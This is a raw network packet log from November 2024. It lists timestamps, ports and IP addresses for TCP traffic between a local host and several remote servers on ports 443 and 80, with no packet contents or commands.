Nov 16, 2024 13:01:39.328161955 CET	49874	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:39.328217983 CET	443	49874	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:39.341628075 CET	49877	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.341634989 CET	49881	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.341654062 CET	49879	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.341658115 CET	443	49879	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.379401922 CET	443	49881	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.379435062 CET	443	49881	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.379503012 CET	443	49881	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.379554033 CET	49881	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.380242109 CET	49881	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.380269051 CET	443	49881	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.380845070 CET	49897	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.380881071 CET	443	49897	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.380965948 CET	49897	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.381458044 CET	49897	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.381485939 CET	443	49897	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.381793976 CET	49876	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.381890059 CET	49880	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.382026911 CET	49878	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.382039070 CET	443	49878	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.384757996 CET	443	49882	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:39.385631084 CET	49882	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:39.385649920 CET	443	49882	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:39.386142969 CET	49882	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:39.386148930 CET	443	49882	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:39.387751102 CET	443	49883	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:39.387798071 CET	443	49880	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.387996912 CET	443	49880	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.388046980 CET	49880	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.388434887 CET	443	49875	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:39.389401913 CET	49880	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.389415026 CET	443	49880	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.389971018 CET	49898	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.389995098 CET	443	49898	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.390093088 CET	49898	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.390595913 CET	443	49876	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.390618086 CET	443	49876	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.390625954 CET	443	49876	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.390667915 CET	443	49876	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.390672922 CET	49876	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.390712976 CET	49876	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.391829014 CET	443	49878	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.391861916 CET	443	49878	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.391881943 CET	443	49878	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.391915083 CET	49878	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.391932964 CET	443	49878	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.391959906 CET	49878	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.392046928 CET	443	49878	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.392478943 CET	49878	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.393038988 CET	49898	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.393049002 CET	443	49898	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.394283056 CET	49883	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:39.394313097 CET	443	49883	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:39.395025015 CET	49883	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:39.395035982 CET	443	49883	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:39.396027088 CET	49875	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:39.396064997 CET	443	49875	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:39.396542072 CET	49875	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:39.396549940 CET	443	49875	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:39.398612022 CET	443	49884	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:39.399893999 CET	49876	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.399904013 CET	443	49876	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.400477886 CET	49899	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.400499105 CET	443	49899	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.400563955 CET	49899	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.402249098 CET	49899	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.402275085 CET	443	49899	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.407862902 CET	443	49879	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.407967091 CET	443	49879	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.407969952 CET	49879	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.408014059 CET	49879	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.409600019 CET	49878	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.409622908 CET	443	49878	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.410731077 CET	49884	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:39.410756111 CET	443	49884	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:39.411514044 CET	49884	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:39.411521912 CET	443	49884	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:39.424412012 CET	49879	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.424422026 CET	443	49879	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.425237894 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.425249100 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.425259113 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.425270081 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.425281048 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.425292015 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.425302029 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.425339937 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.425370932 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.425401926 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.425417900 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.425427914 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.425437927 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.425453901 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.425463915 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.425473928 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.425473928 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.425476074 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.425487995 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.425503016 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.425513983 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.425523043 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.425532103 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.425533056 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.425533056 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.425543070 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.425553083 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.425563097 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.425564051 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.425574064 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.425578117 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.425580025 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.425585032 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.425595045 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.425612926 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.425616980 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.425623894 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.425635099 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.425645113 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.425653934 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.425653934 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.425657034 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.425668955 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.425678968 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.425688028 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.425692081 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.425692081 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.425704956 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.425715923 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.425729036 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.425733089 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.425733089 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.425740004 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.425750971 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.425761938 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.425772905 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.425784111 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.425785065 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.425806046 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.425816059 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.425816059 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.425817013 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.425829887 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.425857067 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.425857067 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.425890923 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.450797081 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.450822115 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.450834036 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.450843096 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.450854063 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.450865030 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.450875998 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.450901031 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.450951099 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.450956106 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.450962067 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.450973034 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.450983047 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.450994015 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451004028 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451009989 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.451009989 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.451014996 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451026917 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451034069 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.451039076 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451050043 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451060057 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451071024 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.451071024 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451071024 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.451086044 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451100111 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451103926 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.451103926 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.451113939 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451123953 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451129913 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.451134920 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451145887 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451158047 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451172113 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451174974 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.451174974 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.451184988 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451195955 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451214075 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.451214075 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.451255083 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451256990 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.451267004 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451277018 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451287031 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451301098 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.451306105 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451322079 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451330900 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.451335907 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451344967 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.451347113 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451359034 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451370001 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451380014 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451389074 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451389074 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.451389074 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.451400995 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451411963 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451421022 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451432943 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451436043 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.451436043 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.451462030 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.451469898 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451481104 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451486111 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.451491117 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451502085 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451517105 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451520920 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.451520920 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.451528072 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451539993 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451549053 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.451550961 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451562881 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451571941 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451581955 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451585054 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.451585054 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.451595068 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451606035 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451617002 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451626062 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.451626062 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.451627016 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451638937 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451651096 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.451651096 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.451656103 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451677084 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451680899 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.451689005 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451698065 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.451699018 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451710939 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451721907 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451730967 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451735020 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.451735020 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.451742887 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451754093 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451754093 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.451771021 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451781034 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.451781988 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451792955 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451802969 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451805115 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.451816082 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451827049 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451837063 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451848030 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451848030 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.451848030 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.451858997 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451870918 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451874971 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.451880932 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451891899 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451901913 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.451901913 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.451904058 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451917887 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451926947 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.451934099 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451945066 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451955080 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451965094 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451971054 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.451971054 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.451976061 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451987982 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.451999903 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.452009916 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.452014923 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.452014923 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.452020884 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.452033043 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.452042103 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.452050924 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.452050924 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.452064037 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.452080011 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.452090025 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.452100039 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.452101946 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.452101946 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.452111006 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.452122927 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.452133894 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.452135086 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.452135086 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.452146053 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.452162027 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.452171087 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.452171087 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.452182055 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.452193022 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.452204943 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.452204943 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.452230930 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.452231884 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.452233076 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.452240944 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.452253103 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.452270031 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.452280045 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.452290058 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.452291012 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.452291012 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.452301025 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.452310085 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.452311039 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.452325106 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.452336073 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.452342987 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.452347040 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.452358007 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.452368021 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.452373981 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.452375889 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.452375889 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.452378035 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.452383995 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.452389002 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.452394009 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.452394009 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.452404976 CET	80	49802	185.215.113.206	192.168.2.5
